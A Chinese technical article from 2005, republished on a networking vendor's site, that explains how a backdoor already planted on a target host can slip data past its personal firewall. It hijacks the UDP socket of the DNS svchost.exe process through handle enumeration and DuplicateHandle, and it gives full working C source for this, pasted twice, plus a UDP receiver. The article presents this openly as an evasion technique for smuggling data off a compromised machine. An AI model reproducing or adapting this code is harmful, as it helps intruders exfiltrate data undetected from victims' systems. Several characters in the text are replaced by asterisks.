下载中心  |   网站地图  |   站内搜索  |   加入收藏
*新更新
业界动态
产品信息
安恒动态
技术文章


安恒公司 / 技术文章 / 网络管理与网络测试 / 网络管理 / 如何穿透防火墙进行数据传输
如何穿透防火墙进行数据传输
2005-06-01    ZwelL       阅读:

穿透防火墙的数据传输方法(附源码)

通常,在我们为目标主机安放好了后门需要将数据传输出去时,主机上的防火墙都会让我们遇到*些不大不小的麻烦。如果为我们自己的进程开*个端口(甚至是新建套接字),那么大部分的防火墙都会将其拦截。有什么方法能"穿透"这些防火墙呢?

下面我为您介绍*种"洞穿"防火墙小规模传输重要数据的方法。不过,不推荐您在其它情况下使用该方法。

其实我的思路很简单,既然防火墙会拦截未验证进程而放行已验证进程的数据传输,那我们就将其它进程中允许数据传输的套接字句柄拿为已用。具体过程如下:

1、找出目标进程;

2、找出SOCKET句柄;

2、用DuplicateHandle()函数将其SOCKET转换为能被自己使用;

3、用转换后的SOCKET进行数据传输。

上面的过程写的很简单,但是实现起来还存在*些问题(后面再做讨论)。另外,从上面的实现方法中也可以看到*些很难控制的地方,比如在目标进程的SOCKET不能是TCP,只能是UDP,因为TCP的句柄已经跟外面建立了连接。同时,针对不同系统不同进程我们也很难定位*个稳定的进程SOCKET。

看到这么多"麻烦",你有点泄气了对不对?不要着急,再想*想,其实我们有*条真正通向罗马的"黄金大道"。我们都知道只要*台计算机联上了网络,那么有*种数据传输是肯定不会被拦截的,不错,就是DNS!你能想像域*解析数据都被拦截所造成的后果吗?既然DNS是不会被拦的,而且它又是UDP传输,我们就从它"开刀"。

本文为您提供了*个通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户*是NETWORK SERVICE)进行数据传输的例子。查看详细源代码见附件1。

需要说明的是,在实际编程中出现了很多问题,比如说获取svchost对应用户*时没有权限(但是能够操作LOCAL SERVICE)、在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请您仔细阅读源代码中的注释部分。

*后,我们可以再用测试代码(附件2)看看效果。测试步骤:

1、在*台机器上执行UdpReceiver;

2、在安装防火墙的机器上执行第*个程序。

小结:在本例的源代码中,因为要在多个svchost.exe进程中找出DNS进程句柄,所以通过用户*进行判断。其实本来是计划采用OpenProcessToken的,但在编程中发现始终不能实现,只好换了方法。例子中还用到了wtsapi32库函数。

源代码部分:

附件1:
======================================================

/*++

  Made By ZwelL
  zwell@sohu.com
  2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG    NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;


    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( "GetModuleHandle() failed");
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        printf( "GetProcAddress() failed");
    }
    ntdll_dll = NULL;
    return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
    // sanity checks and default value
    if (pUserSid == NULL)
        return false;
    strcpy(szUserName, "?");

    SID_NAME_USE   snu;
    TCHAR          szUser[_MAX_PATH];
    DWORD          chUser = _MAX_PATH;
    PDWORD         pcchUser = &chUser;
    TCHAR          szDomain[_MAX_PATH];
    DWORD          chDomain = _MAX_PATH;
    PDWORD         pcchDomain = &chDomain;

    // Retrieve user name and domain name based on user's SID.
    if (
        ::LookupAccountSid(
        NULL,
        pUserSid,
        szUser,
        pcchUser,
        szDomain,
        pcchDomain,
        &snu
        )
        )
    {
        wsprintf(szUserName, "%s", szUser);
    }
    else
    {
        return false;
    }

    return true;


/*++

This routine is used to get the DNS process's Id
 
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    char              szUserName[255];
    DWORD              Id = -1;

    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {

            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
            {
                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
                if( strcmp(szUserName, "NETWORK SERVICE") == 0)
                {
                    Id = pProcessInfo[CurrentProcess].ProcessId;
                    break;
                }
            }
        }

        WTSFreeMemory(pProcessInfo);
    }

    return Id;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
    HANDLE hProcess = NULL,
            hAccessToken = NULL;
    TCHAR InfoBuffer[1000], szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if(hProcess == NULL)
    {
        printf("OpenProcess wrong");
        CloseHandle(hProcess);
        return false;
    }

    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
    {
        printf("OpenProcessToken wrong:%08x", GetLastError());
        return false;
    }

    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);

    if(hProcess)
        CloseHandle(hProcess);
    if(hAccessToken)
        CloseHandle(hAccessToken);
    return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    HANDLE    sock = NULL;
    DWORD    n;

    buf=malloc(0x1000);
    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong\n");
        return NULL;
    }

    NumOfHandle = *(ULONG*)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
        try
        {
            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )
                && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                            // So I jump over this situation...
                                            // May be it's different in your system,
                ) //wind2000 is 0x1a
            {
                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
                if( 0 == DuplicateHandle(
                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
                    (HANDLE)h_info[i].Handle,
                    GetCurrentProcess(),
                    &sock,
                    STANDARD_RIGHTS_REQUIRED,
                    true,
                    DUPLICATE_SAME_ACCESS)
                    )
                {
                    printf("DuplicateHandle wrong:%8x", GetLastError());
                    continue;
                }

                //printf("DuplicateHandle ok\n");
                sockaddr_in name = {0};
                name.sin_family = AF_INET;
                int namelen = sizeof(sockaddr_in);
                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
                //printf("PORT=%5d\n",    ntohs( name.sin_port ));
                if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it
                    break;
            }
        }
        catch(...)
        {
            continue;
        }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;

    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
        );

    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
        );

    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
        );

    rv = GetLastError () == ERROR_SUCCESS;

    CloseHandle (hToken);
    return rv;
}

void main()
{
    WSADATA wsaData;
    char    testbuf[255];
    SOCKET    sock;
    sockaddr_in RecvAddr;

    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR)
        printf("Error at WSAStartup()\n");

    if(!LocateNtdllEntry())
        return;

    if(!EnablePrivilege (SE_DEBUG_NAME))
    {
        printf("EnablePrivilege wrong\n");
        return;
    }

    sock = GetSocketFromId(GetDNSProcessId());
    if( sock==NULL)
    {
        printf("GetSocketFromId wrong\n");
        return;
    }

    //Change there value...
    RecvAddr.sin_family = AF_INET;
    RecvAddr.sin_port = htons(5555);
    RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if(SOCKET_ERROR == sendto(sock,
            "test",
            5,
            0,
            (SOCKADDR *) &RecvAddr,
            sizeof(RecvAddr)))
    {
        printf("sendto wrong:%d\n", WSAGetLastError());
    }
    else
    {
        printf("send ok... Have fun, right? ^_^\n");
    }
   
    getchar();

    //WSACleanup();
    return;
}


测试代码部分:


/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;
  char RecvBuf[1024];
  int  BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);

  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);

  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams...\n");
  while(1)
  {
    recvfrom(RecvSocket,
        RecvBuf,
        BufLen,
        0,
        (SOCKADDR *)&SenderAddr,
        &SenderAddrSize);
    printf("%s\n", RecvBuf);
  }

  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket.\n");
  closesocket(RecvSocket);

  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting.\n");
  WSACleanup();
  return;
}

附件2:
======================================================
源代码部分:
/*++

  Made By ZwelL
  zwell@sohu.com
  2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG    NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;


    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( "GetModuleHandle() failed");
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        printf( "GetProcAddress() failed");
    }
    ntdll_dll = NULL;
    return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
    // sanity checks and default value
    if (pUserSid == NULL)
        return false;
    strcpy(szUserName, "?");

    SID_NAME_USE   snu;
    TCHAR          szUser[_MAX_PATH];
    DWORD          chUser = _MAX_PATH;
    PDWORD         pcchUser = &chUser;
    TCHAR          szDomain[_MAX_PATH];
    DWORD          chDomain = _MAX_PATH;
    PDWORD         pcchDomain = &chDomain;

    // Retrieve user name and domain name based on user's SID.
    if (
        ::LookupAccountSid(
        NULL,
        pUserSid,
        szUser,
        pcchUser,
        szDomain,
        pcchDomain,
        &snu
        )
        )
    {
        wsprintf(szUserName, "%s", szUser);
    }
    else
    {
        return false;
    }

    return true;


/*++

This routine is used to get the DNS process's Id
 
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    char              szUserName[255];
    DWORD              Id = -1;

    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {

            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
            {
                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
                if( strcmp(szUserName, "NETWORK SERVICE") == 0)
                {
                    Id = pProcessInfo[CurrentProcess].ProcessId;
                    break;
                }
            }
        }

        WTSFreeMemory(pProcessInfo);
    }

    return Id;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
    HANDLE hProcess = NULL,
            hAccessToken = NULL;
    TCHAR InfoBuffer[1000], szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if(hProcess == NULL)
    {
        printf("OpenProcess wrong");
        CloseHandle(hProcess);
        return false;
    }

    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
    {
        printf("OpenProcessToken wrong:%08x", GetLastError());
        return false;
    }

    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);

    if(hProcess)
        CloseHandle(hProcess);
    if(hAccessToken)
        CloseHandle(hAccessToken);
    return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    HANDLE    sock = NULL;
    DWORD    n;

    buf=malloc(0x1000);
    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong\n");
        return NULL;
    }

    NumOfHandle = *(ULONG*)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
        try
        {
            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )
                && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                            // So I jump over this situation...
                                            // May be it's different in your system,
                ) //wind2000 is 0x1a
            {
                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
                if( 0 == DuplicateHandle(
                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
                    (HANDLE)h_info[i].Handle,
                    GetCurrentProcess(),
                    &sock,
                    STANDARD_RIGHTS_REQUIRED,
                    true,
                    DUPLICATE_SAME_ACCESS)
                    )
                {
                    printf("DuplicateHandle wrong:%8x", GetLastError());
                    continue;
                }

                //printf("DuplicateHandle ok\n");
                sockaddr_in name = {0};
                name.sin_family = AF_INET;
                int namelen = sizeof(sockaddr_in);
                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
                //printf("PORT=%5d\n",    ntohs( name.sin_port ));
                if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it
                    break;
            }
        }
        catch(...)
        {
            continue;
        }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;

    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
        );

    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
        );

    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
        );

    rv = GetLastError () == ERROR_SUCCESS;

    CloseHandle (hToken);
    return rv;
}

void main()
{
    WSADATA wsaData;
    char    testbuf[255];
    SOCKET    sock;
    sockaddr_in RecvAddr;

    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR)
        printf("Error at WSAStartup()\n");

    if(!LocateNtdllEntry())
        return;

    if(!EnablePrivilege (SE_DEBUG_NAME))
    {
        printf("EnablePrivilege wrong\n");
        return;
    }

    sock = GetSocketFromId(GetDNSProcessId());
    if( sock==NULL)
    {
        printf("GetSocketFromId wrong\n");
        return;
    }

    //Change there value...
    RecvAddr.sin_family = AF_INET;
    RecvAddr.sin_port = htons(5555);
    RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if(SOCKET_ERROR == sendto(sock,
            "test",
            5,
            0,
            (SOCKADDR *) &RecvAddr,
            sizeof(RecvAddr)))
    {
        printf("sendto wrong:%d\n", WSAGetLastError());
    }
    else
    {
        printf("send ok... Have fun, right? ^_^\n");
    }
   
    getchar();

    //WSACleanup();
    return;
}


测试代码部分:


/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;
  char RecvBuf[1024];
  int  BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);

  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);

  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams...\n");
  while(1)
  {
    recvfrom(RecvSocket,
        RecvBuf,
        BufLen,
        0,
        (SOCKADDR *)&SenderAddr,
        &SenderAddrSize);
    printf("%s\n", RecvBuf);
  }

  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket.\n");
  closesocket(RecvSocket);

  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting.\n");
  WSACleanup();
  return;
}

 

责任编辑: admin

相关文章
qmail 白*单功能以及iptables防火墙联动  07-10-17 - 阅: 208303
Wi-Fi防火墙5个重要特征:规划、检测、分类、保护、定位  05-07-01 - 阅: 220587
无线蜜罐技术AP与新*代Wi-Fi防火墙——无线局域网安全  05-07-01 - 阅: 222470
如何穿过防火墙远程控制 OptiView 综合网络协议分析仪, 网络测试  04-08-24 - 阅: 260722
网络分析:防火墙问题——会话丢失及长时延  04-04-19 - 阅: 196726
*组关于域信任、防火墙及组策略的FAQ  04-03-25 - 阅: 170936
相关产品
企业*无线网防火墙SG Enterprise—全面的Wi-Fi防火墙方案  05-07-25 - 阅: 1572900
单机版无线网防火墙SG Sentry—小型无线网络的安全防护解决方案  05-07-21 - 阅: 1612411

Email给朋友 打印本文
版权所有·安恒公司 Copyright © 2004   tap.anheng.com.cn   All Rights Reserved    
      北京市海淀区*体南路9号 主语国际商务中心4号楼8层 安恒公司(邮编100048) 电话:010-88018877